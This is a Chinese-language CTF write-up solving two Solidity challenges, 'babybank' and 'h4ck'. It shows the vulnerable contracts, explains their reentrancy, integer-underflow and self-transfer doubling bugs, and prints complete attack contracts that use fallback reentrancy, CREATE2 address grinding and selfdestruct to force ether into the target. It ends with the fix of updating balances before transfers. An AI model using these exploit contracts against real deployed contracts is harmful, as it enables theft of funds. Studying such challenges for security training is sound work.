babybank 1. question 源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 COPY pragma solidity ^0.4.23; contract babybank { mapping(address => uint) public balance; mapping(address => uint) public level; address owner; uint secret; //Don't leak your teamtoken plaintext!!! md5(teamtoken).hexdigest() is enough. //Gmail is ok. 163 and qq may have some problems. event sendflag(string md5ofteamtoken,string b64email); constructor()public{ owner = msg.sender; } //pay for flag function payforflag(string md5ofteamtoken,string b64email) public{ require(balance[msg.sender] >= 10000000000); balance[msg.sender]=0; owner.transfer(address(this).balance); emit sendflag(md5ofteamtoken,b64email); } modifier onlyOwner(){ require(msg.sender == owner); _; } //challenge 1 function profit() public{ require(level[msg.sender]==0); require(uint(msg.sender) & 0xffff==0xb1b1); balance[msg.sender]+=1; level[msg.sender]+=1; } //challenge 2 function set_secret(uint new_secret) public onlyOwner{ secret=new_secret; } function guess(uint guess_secret) public{ require(guess_secret==secret); require(level[msg.sender]==1); balance[msg.sender]+=1; level[msg.sender]+=1; } //challenge 3 function transfer(address to, uint amount) public{ require(balance[msg.sender] >= amount); require(amount==2); require(level[msg.sender]==2); balance[msg.sender] = 0; balance[to] = amount; } function withdraw(uint amount) public{ require(amount==2); require(balance[msg.sender] >= amount); msg.sender.call.value(amount*100000000000000)(); balance[msg.sender] -= amount; } }
📌 成功调用payforflag()
2.analysis
一眼看出
系列为重入系列,最为明显的漏洞在于withdraw()
1 2 3 4 5 6 COPY function withdraw(uint amount) public{ require(amount==2); require(balance[msg.sender] >= amount); msg.sender.call.value(amount*100000000000000)(); balance[msg.sender] -= amount; }
先转账再更新余额,经典重入
profit()
通过create2计算地址,并获利
guess()
使得balance[msg.sender] == 2
在msg.sender的回调函数中调用一次 转账操作,使得在 withdraw
中发生下溢
还需要通过selfdestruct
给题目合约强制赚钱,为了满足msg.sender.call.value(amount*100000000000000)();
3. solve 攻击逻辑:通过脚本语言计算出符合要求的hacker地址的salt,再通过Helper合约的deploy函数生成hacker,然后通过pay函数强制给bank转钱,根据地址生成hacker之后,调用attack函数即可完成攻击。
攻击合约
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 COPY pragma solidity ^0.8.0; interface babybank{ function payforflag(string memory, string memory) external; function profit() external; function guess(uint guess_secret) external; function transfer(address to, uint amount) external; function withdraw(uint amount) external; } contract Hacker { babybank bank; bool flag; function attack(address _bank, uint guess_secret) public { bank = babybank(_bank); bank.profit(); bank.guess(guess_secret); bank.withdraw(2); bank.payforflag("HC", "Hacker"); } fallback() external payable{ if (!flag) { flag = true; bank.transfer(msg.sender, 2); } } } contract Helper { function deploy(uint _salt) public returns(address) { address hacker = address(new Hacker{salt : keccak256(abi.encodePacked(_salt))}()); return hacker; } function pay(address payable bank) public payable { selfdestruct(bank); } }
h4ck 1. question 源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 COPY pragma solidity ^0.4.25; contract owned { address public owner; constructor () public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address newOwner) public onlyOwner { owner = newOwner; } } contract challenge is owned{ string public name; string public symbol; uint8 public decimals = 18; uint256 public totalSupply; mapping (address => uint256) public balanceOf; mapping (address => uint256) public sellTimes; mapping (address => mapping (address => uint256)) public allowance; mapping (address => bool) public winner; event Transfer(address _from, address _to, uint256 _value); event Burn(address _from, uint256 _value); event Win(address _address,bool _win); constructor ( uint256 initialSupply, string tokenName, string tokenSymbol ) public { totalSupply = initialSupply * 10 ** uint256(decimals); balanceOf[msg.sender] = totalSupply; name = tokenName; symbol = tokenSymbol; } function _transfer(address _from, address _to, uint _value) internal { require(_to != address(0x0)); require(_value > 0); uint256 oldFromBalance = balanceOf[_from]; uint256 oldToBalance = balanceOf[_to]; uint256 newFromBalance = balanceOf[_from] - _value; uint256 newToBalance = balanceOf[_to] + _value; require(oldFromBalance >= _value); require(newToBalance > oldToBalance); balanceOf[_from] = newFromBalance; balanceOf[_to] = newToBalance; assert((oldFromBalance + oldToBalance) == (newFromBalance + newToBalance)); emit Transfer(_from, _to, _value); } function transfer(address _to, uint256 _value) public returns (bool success) { _transfer(msg.sender, _to, _value); return true; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_value <= allowance[_from][msg.sender]); allowance[_from][msg.sender] -= _value; _transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; return true; } function burn(uint256 _value) public returns (bool success) { require(balanceOf[msg.sender] >= _value); balanceOf[msg.sender] -= _value; totalSupply -= _value; emit Burn(msg.sender, _value); return true; } function balanceOf(address _address) public view returns (uint256 balance) { return balanceOf[_address]; } function buy() payable public returns (bool success){ require(balanceOf[msg.sender]==0); require(msg.value == 1 wei); _transfer(address(this), msg.sender, 1); sellTimes[msg.sender] = 1; return true; } function sell(uint256 _amount) public returns (bool success){ require(_amount >= 100); require(sellTimes[msg.sender] > 0); require(balanceOf[msg.sender] >= _amount); require(address(this).balance >= _amount); msg.sender.call.value(_amount)(); _transfer(msg.sender, address(this), _amount); sellTimes[msg.sender] -= 1; return true; } function winnerSubmit() public returns (bool success){ require(winner[msg.sender] == false); require(sellTimes[msg.sender] > 100); winner[msg.sender] = true; emit Win(msg.sender,true); return true; } function kill(address _address) public onlyOwner { selfdestruct(_address); } function eth_balance() public view returns (uint256 ethBalance){ return address(this).balance; } }
📌 成功调用winnerSubmit()
2.analysis
winnerSubmit()
要求require(sellTimes[msg.sender] > 100);
而涉及到sellTimes[]
的函数为sell()
观察该函数有明显的重入风险
1 2 3 4 5 6 7 8 9 10 COPY function sell(uint256 _amount) public returns (bool success){ require(_amount >= 100); require(sellTimes[msg.sender] > 0); require(balanceOf[msg.sender] >= _amount); require(address(this).balance >= _amount); msg.sender.call.value(_amount)(); _transfer(msg.sender, address(this), _amount); sellTimes[msg.sender] -= 1; return true; }
sellTimes[msg.sender] -= 1;
在执行转账操作之后再更新,而且断言require(sellTimes[msg.sender] > 0);
要求其值必须大于0
,而能增加该值的函数为buy()
函数,但其函数要求余额必须为0
且执行之后sellTimes[msg.sender]
只能为1
。所以sell()
中的require(sellTimes[msg.sender] > 0);
可以满足,再看到require(balanceOf[msg.sender] >= _amount);
,要求balance需要大于amount,能改变该值的同样buy()
也可以。分析_transfer()
函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 COPY function _transfer(address _from, address _to, uint _value) internal { require(_to != address(0x0)); require(_value > 0); uint256 oldFromBalance = balanceOf[_from]; uint256 oldToBalance = balanceOf[_to]; uint256 newFromBalance = balanceOf[_from] - _value; uint256 newToBalance = balanceOf[_to] + _value; require(oldFromBalance >= _value); require(newToBalance > oldToBalance); balanceOf[_from] = newFromBalance; balanceOf[_to] = newToBalance; assert((oldFromBalance + oldToBalance) == (newFromBalance + newToBalance)); emit Transfer(_from, _to, _value); }
很明显,有个漏洞,即:自己给自己转钱可以获得双倍的钱。
so,可以通过buy()
获取 1
banlance,然后重复给自己转钱,转 2 ^ 8 == 256 > 200即可。为什么要转八次呢,继续分析。
因为,要使require(sellTimes[msg.sender] > 100);
毫无疑问溢出来的最快,而msg.sender.call.value(_amount)();
则完美的给我们提供了溢出的可行性,即两次调用sell()
函数,在第一次sellTimes[msg.sender] == 1
的时候通过回调函数调用sell
,此时在攻击合约的回调函数中再次执行sell
,攻击合约中执行完回调函数中的sell()
时,sellTimes[msg.sender]
已经为0
,而此时代码回到最初的sell()
函数中,这样一来就可以通过0 - 1
实现溢出。所以需要执行两次sell()
函数,要求address(this).balance >= 200
,balanceOf[msg.sender] >= 200
。
3. solve 攻击逻辑:部署h4ck,往合约中转入至少1
tokens(我觉得题目本来就应该有tokens,不然函数sell()
无法执行),部署hacker,进行攻击
攻击合约
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 COPY contract Hacker { challenge challenge_; bool flag; constructor(address _challenge) public payable { require(msg.value == 200 wei); challenge_ = challenge(_challenge); (new Helper).value(200 wei)(_challenge); } function attack() public payable { require(msg.value == 1 wei); challenge_.buy.value(1 wei)(); for (uint i; i < 8; i++) { challenge_.transfer(address(this), challenge_.balanceOf(address(this))); } challenge_.sell(100); require(challenge_.winnerSubmit(), "you are not winner"); } function() external payable{ if (!flag) { flag = true; challenge_.sell(100); } } } contract Helper { constructor(address _challenge) public payable { selfdestruct(_challenge); } }
总结 这里考查的是重入,emmm,怎么说呢,重入最明显的一个特点就是:钱的更新在转账操作之后,这样一来hacker可以在回调函数中执行恶意操作,因为钱还没改变就可以一直通过转账前的判断条件,从而实现任意次的调用,最简单的改进方法就是,先更新钱再执行转账。